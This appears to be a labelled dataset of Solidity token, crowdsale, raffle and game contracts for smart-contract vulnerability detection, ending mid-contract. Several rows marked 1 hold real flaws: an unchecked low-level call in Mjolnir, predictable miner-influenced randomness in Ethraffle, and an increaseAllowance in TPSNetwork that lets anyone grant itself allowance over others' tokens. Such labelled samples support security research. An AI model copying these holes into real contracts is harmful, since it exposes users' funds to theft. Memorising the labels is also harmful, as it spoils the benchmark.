source_codes
stringlengths 3
205k
| labels
int64 0
1
|
---|---|
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 29808000;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0x606296603b34f6629acD08bd5d62b7AB3399474b;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0 |
pragma solidity ^0.4.17;
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require (!paused);
_;
}
modifier whenPaused {
require (paused) ;
_;
}
function pause() onlyOwner whenNotPaused public returns (bool) {
paused = true;
Pause();
return true;
}
function unpause() onlyOwner whenPaused public returns (bool) {
paused = false;
Unpause();
return true;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool){
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(0X0, _to, _amount);
return true;
}
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract ReporterToken is MintableToken, Pausable{
string public name = "Reporter Token";
string public symbol = "NEWS";
uint256 public decimals = 18;
bool public tradingStarted = false;
modifier hasStartedTrading() {
require(tradingStarted);
_;
}
function startTrading() public onlyOwner {
tradingStarted = true;
}
function transfer(address _to, uint _value) hasStartedTrading whenNotPaused public returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) hasStartedTrading whenNotPaused public returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function emergencyERC20Drain( ERC20 oddToken, uint amount ) public {
oddToken.transfer(owner, amount);
}
}
contract ReporterTokenSale is Ownable, Pausable{
using SafeMath for uint256;
ReporterToken public token;
uint256 public decimals;
uint256 public oneCoin;
uint256 public startTimestamp;
uint256 public endTimestamp;
address public multiSig;
function setWallet(address _newWallet) public onlyOwner {
multiSig = _newWallet;
}
uint256 public rate;
uint256 public minContribution = 0.0001 ether;
uint256 public maxContribution = 200000 ether;
uint256 public weiRaised;
uint256 public tokenRaised;
uint256 public maxTokens;
uint256 public tokensForSale;
uint256 public numberOfPurchasers = 0;
address public cs;
uint public r;
bool public freeForAll = false;
mapping (address => bool) public authorised;
event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount);
event SaleClosed();
function ReporterTokenSale() public {
startTimestamp = 1508684400;
endTimestamp = 1521126000;
multiSig = 0xD00d085F125EAFEA9e8c5D3f4bc25e6D0c93Af0e;
token = new ReporterToken();
decimals = token.decimals();
oneCoin = 10 ** decimals;
maxTokens = 60 * (10**6) * oneCoin;
tokensForSale = 36 * (10**6) * oneCoin;
}
function setTier(uint newR) internal {
if (tokenRaised <= 9000000 * oneCoin) {
rate = newR * 142/100;
} else if (tokenRaised <= 18000000 * oneCoin) {
rate = newR *117/100;
} else {
rate = newR * 1;
}
}
function hasEnded() public constant returns (bool) {
if (now > endTimestamp)
return true;
if (tokenRaised >= tokensForSale)
return true;
return false;
}
modifier onlyCSorOwner() {
require((msg.sender == owner) || (msg.sender==cs));
_;
}
modifier onlyCS() {
require(msg.sender == cs);
_;
}
modifier onlyAuthorised() {
require (authorised[msg.sender] || freeForAll);
require (now >= startTimestamp);
require (!(hasEnded()));
require (multiSig != 0x0);
require(tokensForSale > tokenRaised);
_;
}
function authoriseAccount(address whom) onlyCSorOwner public {
authorised[whom] = true;
}
function authoriseManyAccounts(address[] many) onlyCSorOwner public {
for (uint256 i = 0; i < many.length; i++) {
authorised[many[i]] = true;
}
}
function blockAccount(address whom) onlyCSorOwner public {
authorised[whom] = false;
}
function setCS(address newCS) onlyOwner public {
cs = newCS;
}
function setRate(uint newRate) onlyCSorOwner public {
require( 0 < newRate && newRate < 3000);
r = newRate;
}
function placeTokens(address beneficiary, uint256 _tokens) onlyCS public {
require(_tokens != 0);
require(!hasEnded());
uint256 amount = 0;
if (token.balanceOf(beneficiary) == 0) {
numberOfPurchasers++;
}
tokenRaised = tokenRaised.add(_tokens);
token.mint(beneficiary, _tokens);
TokenPurchase(beneficiary, amount, _tokens);
}
function buyTokens(address beneficiary, uint256 amount) onlyAuthorised whenNotPaused internal {
setTier(r);
require(amount >= minContribution);
require(amount <= maxContribution);
uint256 tokens = amount.mul(rate);
weiRaised = weiRaised.add(amount);
if (token.balanceOf(beneficiary) == 0) {
numberOfPurchasers++;
}
tokenRaised = tokenRaised.add(tokens);
token.mint(beneficiary, tokens);
TokenPurchase(beneficiary, amount, tokens);
multiSig.transfer(this.balance);
}
function finishSale() public onlyOwner {
require(hasEnded());
uint unassigned;
if(maxTokens > tokenRaised) {
unassigned = maxTokens.sub(tokenRaised);
token.mint(multiSig,unassigned);
}
token.finishMinting();
token.transferOwnership(owner);
SaleClosed();
}
function () public payable {
buyTokens(msg.sender, msg.value);
}
function emergencyERC20Drain( ERC20 oddToken, uint amount ) public {
oddToken.transfer(owner, amount);
}
} | 0 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
library SafeERC20 {
function safeTransfer(
ERC20Basic _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract Crowdsale {
using SafeMath for uint256;
using SafeERC20 for ERC20;
ERC20 public token;
address public wallet;
uint256 internal rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(address _wallet, ERC20 _token) public {
require(_wallet != address(0));
require(_token != address(0));
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.safeTransfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
contract SANDER1 is StandardToken, DetailedERC20 {
uint256 internal supply = 12 * 1 ether;
constructor ()
public
DetailedERC20 (
"Super Ander Token 1",
"SANDER1",
18
)
{
totalSupply_ = supply;
balances[msg.sender] = supply;
emit Transfer(0x0, msg.sender, totalSupply_);
}
}
contract SuperCrowdsale is CappedCrowdsale {
using SafeERC20 for SANDER1;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
address public owner;
SANDER1 public token;
uint256 internal weiAmount;
event ProcessedRemainder(uint256 remainder);
constructor (
SANDER1 _token,
address _wallet
) public
Crowdsale(
_wallet,
_token
)
CappedCrowdsale(
4145880000000000000000
)
{
owner = msg.sender;
token = _token;
}
function buyTokens(address _beneficiary) public payable {
weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = getTokenAmount(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
weiRaised = weiRaised.add(weiAmount);
_postValidatePurchase(_beneficiary, weiAmount);
weiAmount = 0;
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.safeTransferFrom(owner, _beneficiary, _tokenAmount);
}
function getTokenAmount(uint256 _weiAmount) public view returns (uint256) {
return _weiAmount.mul(token.allowance(owner, address(this))).div(cap);
}
} | 0 |
pragma solidity ^0.4.23;
contract Token {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract Mjolnir is StandardToken {
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
uint256 public unitsOneEthCanBuy;
uint256 public totalEthInWei;
address public fundsWallet;
function Mjolnir() {
balances[msg.sender] = 128192000000000000000000;
totalSupply = 128192000000000000000000;
name = "Mjolnir";
decimals = 18;
symbol = "MJG";
unitsOneEthCanBuy = 2000;
fundsWallet = msg.sender;
}
function() public payable{
totalEthInWei = totalEthInWei + msg.value;
uint256 amount = msg.value * unitsOneEthCanBuy;
require(balances[fundsWallet] >= amount);
balances[fundsWallet] = balances[fundsWallet] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
Transfer(fundsWallet, msg.sender, amount);
fundsWallet.transfer(msg.value);
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | 1 |
pragma solidity ^0.4.16;
contract Ethraffle {
struct Contestant {
address addr;
uint raffleId;
}
event RaffleResult(
uint indexed raffleId,
uint winningNumber,
address winningAddress,
address seed1,
address seed2,
uint seed3,
bytes32 randHash
);
event TicketPurchase(
uint indexed raffleId,
address contestant,
uint number
);
event TicketRefund(
uint indexed raffleId,
address contestant,
uint number
);
uint public constant prize = 0.01 ether;
uint public constant fee = 0.01 ether;
uint public constant totalTickets = 6;
uint public constant pricePerTicket = (prize + fee) / totalTickets;
address feeAddress;
bool public paused = false;
uint public raffleId = 1;
uint nextTicket = 0;
mapping (uint => Contestant) contestants;
uint[] gaps;
function Ethraffle() public {
feeAddress = msg.sender;
}
function () payable public {
buyTickets();
}
function buyTickets() payable public {
if (paused) {
msg.sender.transfer(msg.value);
return;
}
uint moneySent = msg.value;
while (moneySent >= pricePerTicket && nextTicket < totalTickets) {
uint currTicket = 0;
if (gaps.length > 0) {
currTicket = gaps[gaps.length-1];
gaps.length--;
} else {
currTicket = nextTicket++;
}
contestants[currTicket] = Contestant(msg.sender, raffleId);
TicketPurchase(raffleId, msg.sender, currTicket);
moneySent -= pricePerTicket;
}
if (nextTicket == totalTickets) {
chooseWinner();
}
if (moneySent > 0) {
msg.sender.transfer(moneySent);
}
}
function chooseWinner() private {
address seed1 = contestants[uint(block.coinbase) % totalTickets].addr;
address seed2 = contestants[uint(msg.sender) % totalTickets].addr;
uint seed3 = block.difficulty;
bytes32 randHash = keccak256(seed1, seed2, seed3);
uint winningNumber = uint(randHash) % totalTickets;
address winningAddress = contestants[winningNumber].addr;
RaffleResult(raffleId, winningNumber, winningAddress, seed1, seed2, seed3, randHash);
raffleId++;
nextTicket = 0;
winningAddress.transfer(prize);
feeAddress.transfer(fee);
}
function getRefund() public {
uint refund = 0;
for (uint i = 0; i < totalTickets; i++) {
if (msg.sender == contestants[i].addr && raffleId == contestants[i].raffleId) {
refund += pricePerTicket;
contestants[i] = Contestant(address(0), 0);
gaps.push(i);
TicketRefund(raffleId, msg.sender, i);
}
}
if (refund > 0) {
msg.sender.transfer(refund);
}
}
function endRaffle() public {
if (msg.sender == feeAddress) {
paused = true;
for (uint i = 0; i < totalTickets; i++) {
if (raffleId == contestants[i].raffleId) {
TicketRefund(raffleId, contestants[i].addr, i);
contestants[i].addr.transfer(pricePerTicket);
}
}
RaffleResult(raffleId, totalTickets, address(0), address(0), address(0), 0, 0);
raffleId++;
nextTicket = 0;
gaps.length = 0;
}
}
function togglePause() public {
if (msg.sender == feeAddress) {
paused = !paused;
}
}
function kill() public {
if (msg.sender == feeAddress) {
selfdestruct(feeAddress);
}
}
} | 1 |
pragma solidity ^0.4.25;
contract DSAuthority {
function canCall(
address src, address dst, bytes4 sig
) public view returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority (address indexed authority);
event LogSetOwner (address indexed owner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
constructor() public {
owner = 0x0B0b1bfced9b254037695bF206226725151a149B;
emit LogSetOwner(0x0B0b1bfced9b254037695bF206226725151a149B);
}
function setOwner(address owner_0x0B0b1bfced9b254037695bF206226725151a149B)
public
auth
{
owner = owner_0x0B0b1bfced9b254037695bF206226725151a149B;
emit LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_)
public
auth
{
authority = authority_;
emit LogSetAuthority(authority);
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig));
_;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, this, sig);
}
}
}
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x);
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
function imin(int x, int y) internal pure returns (int z) {
return x <= y ? x : y;
}
function imax(int x, int y) internal pure returns (int z) {
return x >= y ? x : y;
}
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function rmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
function rdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, RAY), y / 2) / y;
}
function rpow(uint x, uint n) internal pure returns (uint z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
}
contract ERC20Events {
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
}
contract ERC20 is ERC20Events {
function totalSupply() public view returns (uint);
function balanceOf(address guy) public view returns (uint);
function allowance(address src, address guy) public view returns (uint);
function approve(address guy, uint wad) public returns (bool);
function transfer(address dst, uint wad) public returns (bool);
function transferFrom(
address src, address dst, uint wad
) public returns (bool);
}
contract DSTokenBase is ERC20, DSMath {
uint256 _supply;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _approvals;
constructor(uint supply) public {
_balances[msg.sender] = supply;
_supply = supply;
}
function totalSupply() public view returns (uint) {
return _supply;
}
function balanceOf(address src) public view returns (uint) {
return _balances[src];
}
function allowance(address src, address guy) public view returns (uint) {
return _approvals[src][guy];
}
function transfer(address dst, uint wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad)
public
returns (bool)
{
if (src != msg.sender) {
_approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad);
}
_balances[src] = sub(_balances[src], wad);
_balances[dst] = add(_balances[dst], wad);
emit Transfer(src, dst, wad);
return true;
}
function approve(address guy, uint wad) public returns (bool) {
_approvals[msg.sender][guy] = wad;
emit Approval(msg.sender, guy, wad);
return true;
}
function increaseAllowance(
address src,
uint256 wad
)
public
returns (bool)
{
require(src != address(0));
_approvals[src][msg.sender] = add(_approvals[src][msg.sender], wad);
emit Approval(msg.sender, src, _approvals[msg.sender][src]);
return true;
}
function decreaseAllowance(
address src,
uint256 wad
)
public
returns (bool)
{
require(src != address(0));
_approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad);
emit Approval(msg.sender, src, _approvals[msg.sender][src]);
return true;
}
}
contract DSNote {
event LogNote(
bytes4 indexed sig,
address indexed guy,
bytes32 indexed foo,
bytes32 indexed bar,
uint wad,
bytes fax
) anonymous;
modifier note {
bytes32 foo;
bytes32 bar;
assembly {
foo := calldataload(4)
bar := calldataload(36)
}
emit LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data);
_;
}
}
contract DSStop is DSNote, DSAuth {
bool public stopped;
modifier stoppable {
require(!stopped);
_;
}
function stop() public auth note {
stopped = true;
}
function start() public auth note {
stopped = false;
}
}
contract TPSNetwork is DSTokenBase , DSStop {
string public symbol="TPS7";
string public name="Tps Network";
uint256 public decimals = 3;
uint256 public initialSupply=3000000000;
address public burnAdmin;
constructor() public
DSTokenBase(initialSupply)
{
burnAdmin=0x0B0b1bfced9b254037695bF206226725151a149B;
}
event Burn(address indexed guy, uint wad);
modifier onlyAdmin() {
require(isAdmin());
_;
}
function isAdmin() public view returns(bool) {
return msg.sender == burnAdmin;
}
function renounceOwnership() public onlyAdmin {
burnAdmin = address(0);
}
function approve(address guy) public stoppable returns (bool) {
return super.approve(guy, uint(-1));
}
function approve(address guy, uint wad) public stoppable returns (bool) {
return super.approve(guy, wad);
}
function transferFrom(address src, address dst, uint wad)
public
stoppable
returns (bool)
{
if (src != msg.sender && _approvals[src][msg.sender] != uint(-1)) {
_approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad);
}
_balances[src] = sub(_balances[src], wad);
_balances[dst] = add(_balances[dst], wad);
emit Transfer(src, dst, wad);
return true;
}
function burnfromAdmin(address guy, uint wad) public onlyAdmin {
require(guy != address(0));
_balances[guy] = sub(_balances[guy], wad);
_supply = sub(_supply, wad);
emit Burn(guy, wad);
emit Transfer(guy, address(0), wad);
}
} | 1 |
pragma solidity ^0.4.23;
contract ZTHReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data) public returns (bool);
}
contract ZTHInterface {
function transfer(address _to, uint _value) public returns (bool);
function approve(address spender, uint tokens) public returns (bool);
}
contract Zethell is ZTHReceivingContract {
using SafeMath for uint;
address private owner;
address private bankroll;
uint private houseTake;
uint public tokensInPlay;
uint public contractBalance;
address public currentWinner;
uint public gameStarted;
uint public gameEnds;
bool public gameActive;
address private ZTHTKNADDR;
address private ZTHBANKROLL;
ZTHInterface private ZTHTKN;
mapping (uint => bool) validTokenBet;
mapping (uint => uint) tokenToTimer;
event GameEnded(
address winner,
uint tokensWon,
uint timeOfWin
);
event HouseRetrievedTake(
uint timeTaken,
uint tokensWithdrawn
);
event TokensWagered(
address _wagerer,
uint _wagered,
uint _newExpiry
);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyBankroll {
require(msg.sender == bankroll);
_;
}
modifier onlyOwnerOrBankroll {
require(msg.sender == owner || msg.sender == bankroll);
_;
}
constructor(address ZethrAddress, address BankrollAddress) public {
ZTHTKNADDR = ZethrAddress;
ZTHBANKROLL = BankrollAddress;
owner = msg.sender;
bankroll = ZTHBANKROLL;
currentWinner = ZTHBANKROLL;
ZTHTKN = ZTHInterface(ZTHTKNADDR);
ZTHTKN.approve(ZTHBANKROLL, 2**256 - 1);
validTokenBet[5e18] = true;
validTokenBet[10e18] = true;
validTokenBet[25e18] = true;
validTokenBet[50e18] = true;
tokenToTimer[5e18] = 24 hours;
tokenToTimer[10e18] = 18 hours;
tokenToTimer[25e18] = 10 hours;
tokenToTimer[50e18] = 6 hours;
gameStarted = now;
gameEnds = now;
gameActive = true;
}
function() public payable { }
struct TKN { address sender; uint value; }
function tokenFallback(address _from, uint _value, bytes ) public returns (bool){
TKN memory _tkn;
_tkn.sender = _from;
_tkn.value = _value;
_stakeTokens(_tkn);
return true;
}
function _stakeTokens(TKN _tkn) private {
require(gameActive);
require(_zthToken(msg.sender));
require(validTokenBet[_tkn.value]);
if (now > gameEnds) { _settleAndRestart(); }
address _customerAddress = _tkn.sender;
uint _wagered = _tkn.value;
uint rightNow = now;
uint timePurchased = tokenToTimer[_tkn.value];
uint newGameEnd = rightNow.add(timePurchased);
gameStarted = rightNow;
gameEnds = newGameEnd;
currentWinner = _customerAddress;
contractBalance = contractBalance.add(_wagered);
uint houseCut = _wagered.div(100);
uint toAdd = _wagered.sub(houseCut);
houseTake = houseTake.add(houseCut);
tokensInPlay = tokensInPlay.add(toAdd);
emit TokensWagered(_customerAddress, _wagered, newGameEnd);
}
function _settleAndRestart() private {
gameActive = false;
uint payment = tokensInPlay/2;
contractBalance = contractBalance.sub(payment);
if (tokensInPlay > 0) { ZTHTKN.transfer(currentWinner, payment);
if (address(this).balance > 0){
ZTHBANKROLL.transfer(address(this).balance);
}}
emit GameEnded(currentWinner, payment, now);
tokensInPlay = tokensInPlay.sub(payment);
gameActive = true;
}
function balanceOf() public view returns (uint) {
return contractBalance;
}
function addTokenTime(uint _tokenAmount, uint _timeBought) public onlyOwner {
validTokenBet[_tokenAmount] = true;
tokenToTimer[_tokenAmount] = _timeBought;
}
function removeTokenTime(uint _tokenAmount) public onlyOwner {
validTokenBet[_tokenAmount] = false;
tokenToTimer[_tokenAmount] = 232 days;
}
function retrieveHouseTake() public onlyOwnerOrBankroll {
uint toTake = houseTake;
houseTake = 0;
contractBalance = contractBalance.sub(toTake);
ZTHTKN.transfer(bankroll, toTake);
emit HouseRetrievedTake(now, toTake);
}
function pauseGame() public onlyOwner {
gameActive = false;
}
